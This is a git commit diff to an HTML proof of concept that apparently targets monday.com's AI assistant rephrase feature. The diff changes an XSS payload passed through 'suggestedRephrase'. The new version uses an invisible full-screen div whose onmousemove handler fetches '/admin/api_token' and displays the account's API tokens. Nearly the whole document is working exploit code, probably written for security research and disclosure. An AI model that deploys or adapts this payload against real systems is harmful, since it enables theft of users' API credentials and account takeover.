Update update-ai-assistant-xss.html

kosgdk · May 21, 2024 · 6037afc · 6037afc
1 parent badccd2
commit 6037afc
Showing 1 changed file with 1 addition and 1 deletion.
diff --git a/update-ai-assistant-xss.html b/update-ai-assistant-xss.html
@@ -5,7 +5,7 @@
 <body>
   <script>
     const monday = window.mondaySdk();
-    monday.execute("updatePostContentAction", { suggestedRephrase: "<input autofocus onfocus=\"fetch('/admin/api_token').then(response=>response.json()).then(data=>alert('api_token:'+data.api_token+'personal_api_token:'+data.personal_api_token+'api_v2_token:'+data.api_v2_token))\">"})
+    monday.execute("updatePostContentAction", { suggestedRephrase: "<div onmousemove=\"fetch('/admin/api_token').then(response=>response.json()).then(data=>alert('api_token:'+data.api_token+'personal_api_token:'+data.personal_api_token+'api_v2_token:'+data.api_v2_token))\" style=\"position:fixed;top:0;left:0;height:100%;width:100%;opacity:0;z-index:99999999999;\"></div>"});
   </script>
   Hello
 </body>